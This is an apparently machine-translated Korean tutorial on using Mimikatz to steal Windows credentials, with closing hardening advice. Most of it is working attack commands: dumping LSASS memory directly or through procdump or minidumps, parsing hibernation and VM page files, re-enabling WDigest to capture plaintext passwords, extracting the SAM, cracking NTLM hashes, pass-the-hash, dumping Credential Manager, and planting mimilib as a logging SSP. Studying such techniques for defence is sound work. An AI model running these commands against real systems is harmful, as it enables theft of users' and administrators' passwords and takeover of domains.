Windows 보안에 관한 시리즈의 일부로 작성된 이 기사에서는 Mimikatz를 사용하여 모든 활성 Windows 사용자의 암호를 얻는 아주 간단한 방법을 배웁니다. 도구.
Mimikatz.exe
Windows 메모리, 암호 해시, Kerberos 티켓 등에서 일반 텍스트 암호를 추출할 수 있습니다. 또한 mimikatz를 사용하면 pass-the-hash, pass-the-ticket 공격을 수행하거나 Golden Kerberos 티켓을 생성할 수 있습니다. mimikatz 기능은 Metasploit Framework에서도 사용할 수 있습니다.
미미카츠를 다운로드할 수 있습니다. GitHub 리포지토리에서:https://github.com/gentilkiwi/mimikatz/releases/. mimikatz_trunk.zip 아카이브를 C:\Tools\mimikatz에 추출합니다. x64 및 x86용으로 두 가지 버전의 mimikatz가 이 디렉토리에 나타납니다. Windows 비트에 해당하는 버전을 사용하십시오.
이 기사에서는 mimikatz를 사용하여 Windows Server 2016 또는 Windows 10에서 사용자 암호를 얻는 방법을 보여줍니다.
면책 조항. 이 문서에 설명된 정보 및 기술은 정보 제공의 목적으로만 사용해야 하며 제3자의 계정, 데이터 및 시스템에 액세스할 수 없습니다.
Mimikatz를 사용하여 LSASS에서 Windows 해시 암호 해킹
Windows Server 2016을 실행하는 RDS 서버의 Windows 메모리(lsass.exe 프로세스 – Local Security Authority Subsystem Service)에서 로그인한 모든 사용자의 암호 해시를 덤프해 보겠습니다.
관리자 권한 명령 프롬프트에서 다음 명령을 실행합니다.
Mimikatz.exe
실행 관리자로서- 다음 명령은 현재 계정에 디버그 프로세스(SeDebugPrivilege)에 대한 권한을 부여합니다.
privilege::debug
- 활성 사용자 세션 나열:
sekurlsa::logonPasswords full
- 내 경우에는 내 계정 외에 서버에 두 사용자의 활성 세션이 있습니다.
novach
및administrator
. - NTLM 해시를 복사합니다(스크린샷에서 강조 표시됨).
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tmp\mimikatz_output.txt
이제 모든 오프라인을 사용할 수 있습니다(hashcat
Kali Linux의 도구) 또는 NTLM 해시 해독을 위한 온라인 서비스입니다. https://crackstation.net/ 서비스를 이용하겠습니다.
보시다시피 서비스는 이러한 NTLM 해시 값을 빠르게 찾았습니다. 즉, 일반 텍스트로 사용자 비밀번호를 받았습니다.
이것이 많은 동시 사용자와 엔터프라이즈 관리자 세션이 있는 RDS 호스트라고 상상해 보십시오. 즉, 이 서버에 대한 로컬 관리자 권한이 있는 경우 도메인 관리자 비밀번호도 얻을 수 있습니다.
Windows 사용자에게 복잡한 암호를 사용하는 경우 암호 해독이 훨씬 더 어려워집니다. 따라서 항상 GPO를 통해 암호 복잡성을 활성화하고 AD 도메인의 암호 강도를 정기적으로 감사합니다.
보시다시피 mimikatz 덕분에 모든 활성 사용자의 NTLM 해시를 얻었습니다! SeDebugPrivilege를 설정할 수 있는 디버그 모드가 이 컴퓨터에서 활성화되어 있기 때문에 명령이 성공했습니다. 원하는 프로세스에 대한 플래그입니다. 이 모드에서 프로그램은 시스템을 대신하여 시작된 프로세스의 메모리에 대한 낮은 수준의 액세스 권한을 얻을 수 있습니다.
참고 . 2017년 6월, 많은 국가의 많은 대기업이 내장된 mimikatz 모듈을 사용하여 사용자 및 도메인 관리자의 비밀번호를 수집하는 NotPetya 랜섬웨어에 감염되었습니다.Windows 메모리 덤프에서 사용자 암호를 가져오는 방법
위의 암호 해시를 얻는 방법은 차단 주입에 바이러스 백신이 설치된 경우 작동하지 않습니다. 이 경우 대상 호스트에서 LSASS 프로세스의 메모리 덤프를 만들고 이를 컴퓨터에 복사하고 mimikatz를 사용하여 암호 해시를 추출해야 합니다.
Windows에서 프로세스의 메모리 덤프를 만드는 것은 매우 쉽습니다. 작업 관리자를 시작하고 lsass.exe 프로세스를 찾아 마우스 오른쪽 버튼으로 클릭하고 덤프 파일 만들기를 선택합니다. .
Windows는 메모리 덤프를 system32 폴더에 저장합니다.
mimikatz를 사용하여 덤프 파일을 구문 분석하면 됩니다(다른 컴퓨터에서 이 작업을 수행할 수 있음). mimikatz에 메모리 덤프 로드:
Mimikatz “sekurlsa::minidump C:\Users\username\AppData\Local\Temp\lsass.DMP”
덤프에서 사용자 이름과 비밀번호 해시 가져오기:
# sekurlsa::logonPasswords
psexec를 사용하거나 WinRM(관리자 권한이 있는 경우)을 통해 원격 컴퓨터에서 메모리 덤프를 가져와서 사용자 암호를 추출할 수 있습니다.
procdump
를 사용할 수도 있습니다. 덤프를 가져오는 Sysinternals의 도구:
procdump -ma lsass.exe lsass.dmp
LSASS 프로세스의 메모리 덤프는 PowerShell의 Out-Minidump.ps1 함수로 얻을 수 있습니다. Out-Minidump 기능을 PoSh 세션으로 가져오고 LSASS 프로세스의 메모리 덤프 생성:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
Hyberfil.sys 및 VM 페이지 파일에서 Windows 비밀번호 추출
또한 메모리 덤프 파일, 시스템 최대 절전 모드 파일(hiberfil.sys) 및. 가상 머신 파일의 vmem(가상 머신 페이징 파일 및 해당 스냅샷).
이를 수행하려면 Windows용 디버깅 도구가 필요합니다. (WinDbg), 미미카츠 자체 및 도구 .vmem을 메모리 덤프 파일로 변환합니다(Hyper-V에서는 vm2dmp.exe 또는 MoonSols Windows Memory toolkit for VMWare vmem-files).
예를 들어, VMWare 가상 머신의 vmem 페이지 파일을 덤프로 변환하려면 다음 명령을 사용하십시오.
bin2dmp.exe "wsrv2008r2-1.vmem" vmware.dmp
덤프를 WinDbg(파일 -> 크래시 덤프 열기)로 가져오고 mimikatz 라이브러리 mimilib.dll을 로드합니다.
.load mimilib.dll
덤프에서 lsass.exe 프로세스 찾기:
!process 0 0 lsass.exe
마지막으로 다음을 입력합니다.
.process /r /p fffffa800e0b3b30
!mimikatz
결과적으로 Windows 사용자 목록과 암호의 NTLM 해시 또는 일반 텍스트 암호를 얻을 수 있습니다.
WDigest를 사용하여 일반 텍스트로 Windows 비밀번호 추출
WDigest를 사용할 수 있습니다. 레거시 Windows 버전에서 HTTP 다이제스트 인증을 위한 프로토콜입니다. 이 프로토콜의 주요 보안 결함은 사용자의 암호를 해시가 아닌 일반 텍스트로 메모리에 저장한다는 것입니다. Mimikatz를 사용하면 LSASS.EXE 프로세스의 메모리에서 이러한 암호를 추출할 수 있습니다.
WDigest 프로토콜은 Windows 10 및 Windows Server 2016/2019를 포함한 모든 새 버전의 Windows에서 기본적으로 비활성화되어 있습니다. 그러나 완전히 제거되지는 않았습니다. Windows에서 로컬 관리자 권한이 있는 경우 WDiget 프로토콜을 활성화하고 사용자가 로그인할 때까지 기다렸다가 암호를 도용할 수 있습니다.
Windows에서 Wdigest 활성화:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
그룹 정책 설정 새로 고침:
gpupdate /force
사용자가 mimikatz로 로그인하고 암호를 얻을 때까지 기다립니다(사용자는 Windows 10에서 다시 로그인해야 합니다. Windows Server 2016에서는 화면이 잠긴 후 세션을 잠금 해제하는 것으로 충분합니다):
privilege::debug
sekurlsa::wdigest
보시다시피 wdigest 섹션에는 일반 텍스트로 된 사용자 암호가 포함되어 있습니다.
SAM에서 로컬 사용자 비밀번호 해시 추출
mimikatz를 사용하면 SAM에서 로컬 Windows 사용자(내장 관리자 계정 포함)의 암호 해시를 추출할 수 있습니다.
privilege::debug
token::elevate
lsadump::sam
레지스트리 SAM 하이브에서 NTLM 해시를 추출할 수도 있습니다.
- SYSTEM 및 SAM 레지스트리 하이브를 파일로 내보내기:
reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv
- 그런 다음 Mimikatz를 사용하여 비밀번호 해시를 덤프합니다.
privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Mimikatz를 통한 Pass-the-Hash 공격 수행
사용자가 강력한 암호를 가지고 있고 NTLM 해시를 빠르게 해독할 수 없는 경우 Mimikatz를 사용하여 해시 통과(해시 재사용) 공격을 수행할 수 있습니다. 이 경우 해시를 사용하여 대상 사용자를 대신하여 프로세스를 실행할 수 있습니다. 예를 들어 사용자 암호의 NTLM 해시를 덤프하면 다음 명령이 해당 계정으로 명령 프롬프트를 실행합니다.
privilege::debug
sekurlsa::pth /user:Administrator /domain:woshub /ntlm:e91ccf23eeeee21a12b6709de24aa42 /run:powershell.exe
또한
Invoke-TheHash
를 사용할 수 있습니다. 원격 통근자에게 명령을 실행하기 위해 NTLM 자격 증명을 재사용하기 위한 도구입니다. Windows 자격 증명 관리자에서 비밀번호 덤프
Windows에서는 Windows 자격 증명 관리자에 암호를 저장할 수 있습니다(이는 TERMSRV/hostname1
의 원격 컴퓨터, 웹사이트, RDP 자격 증명에 액세스하기 위한 암호일 수 있습니다. 체재). Mimikatz는 Credential Manager에서 이러한 비밀번호를 추출하여 귀하에게 보여줄 수 있습니다.
privilege::debug
sekurlsa::credman
보시다시피 저장된 비밀번호는 credman 아래에 표시됩니다. 섹션.
Windows 자동 로그온 암호는 일반 텍스트로 레지스트리에 저장됩니다. 저장된 Wi-Fi 비밀번호를 추출하는 것도 쉽습니다.
Windows 로그온 암호를 일반 텍스트로 덤프
Windows에서 암호를 덤프하는 또 다른 흥미로운 방법은 mimikatz에서 제공하는 추가 SSP 공급자(보안 지원 공급자)를 사용하는 것입니다.
- Mimikatz 라이브러리 파일 mimilib.dll을 C:\Windows\System32\ 폴더에 복사합니다.
- 다음 명령을 사용하여 추가 SPP 공급자를 등록합니다.
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
- 각 사용자가 Windows에 로그온할 때 암호가 kiwissp.log 파일에 기록됩니다. PowerShell:
Get-Content C:\Windows\System32\kiwissp.log<
를 사용하여 모든 암호를 표시할 수 있습니다. /li>
자격 증명 덤핑 공격으로부터 Windows 보호
Windows 8.1 및 Windows Server 2012 R2(이상)에서는 LSASS에서 암호를 훔치는 기능이 제한됩니다. LM 해시와 암호는 기본적으로 이러한 Windows 버전에서 메모리에 저장되지 않습니다.
동일한 기능이 특별 업데이트 KB2871997를 설치해야 하는 이전 버전의 Windows(7/8/2008R2/2012)로 백포트됩니다. (업데이트는 시스템 보안을 강화하기 위한 다른 옵션을 제공함) 레지스트리 키 HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest DWORD 매개변수 설정 UseLogonCredential 0 으로 (WDigest가 비활성화됨).
이 업데이트와 UseLogonCredential 키를 설치한 후 메모리에서 암호를 추출하려고 하면 mimikatz가 creds_wdigest 명령을 사용하여 암호와 해시를 덤프할 수 없음을 알 수 있습니다.
위에서 로컬 관리자 권한이 있는 경우 이 reg 키를 취약한 값으로 쉽게 설정하는 방법을 보여주었습니다. 그런 다음 LSA 메모리의 암호에 다시 액세스할 수 있습니다.
mimikatz에는 메모리에서 암호와 해시를 가져오는 다른 옵션이 있습니다(WDigest, LM-hash, NTLM-hash, Kerberos 티켓 캡처용 모듈). 따라서 보호를 위해 다음 보안 조치를 구현하는 것이 좋습니다.
- 가역 암호화를 사용하여 비밀번호 저장 방지
- WDigest 비활성화
- 자격 증명 관리자에서 비밀번호 저장 방지
- NTLM 비활성화
- 도메인 사용자 자격 증명의 캐싱 방지(CachedLogonsCount 레지스트리 매개변수 또는 그룹 정책 옵션 대화형 로그온 정책:캐시할 이전 로그온 수 );
- 도메인 기능 수준이 Windows Server 2012 R2 이상인 경우 특별 보호된 사용자에 관리자 계정을 추가할 수 있습니다. 그룹 . 이 경우 해당 사용자에 대해 NTLM 해시가 생성되지 않습니다.
- LSA 프로세스 보호 활성화:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
(이 설정은 Microsoft 서명 프로세스만 LSASS 메모리에 액세스할 수 있도록 허용합니다. GPO를 통해 도메인에 이 reg 키를 배포할 수 있습니다.) - Credential Guard를 사용하여 프로세스의 LSA 콘텐츠 보호
- 로컬 관리자라도 디버그 권한 얻기 방지:GPO -> Windows 설정 -> 보안 설정 -> 로컬 정책 -> 사용자 권한 할당 -> 디버그 프로그램(단, LocalSystem 권한이 있거나 이와 유사한 권한이 있는 경우 쉽게 우회)
결론. 다시 한 번 몇 가지 주요 보안 개념을 상기시켜 드립니다.
- 다른 서비스에 동일한 비밀번호를 사용하지 마십시오(특히 제3자가 소유한 RDP/RDS 호스트에 액세스하는 경우).
- 가상 머신 파일이 있는 하이퍼바이저 및 저장소에 다른 사람이 액세스할 수 있는지 확신할 수 없기 때문에 클라우드의 가상 머신에 저장된 데이터와 비밀번호의 보안에 대해 생각해 보십시오.
- 글로벌 또는 로컬 관리자 권한이 있는 계정의 수를 최소화합니다(Windows 환경에서 관리자 계정 보호 가이드 참조).
- 도메인 관리자 계정으로 다른 사용자가 액세스할 수 있는 서버 및 컴퓨터에 절대 로그온하지 마십시오.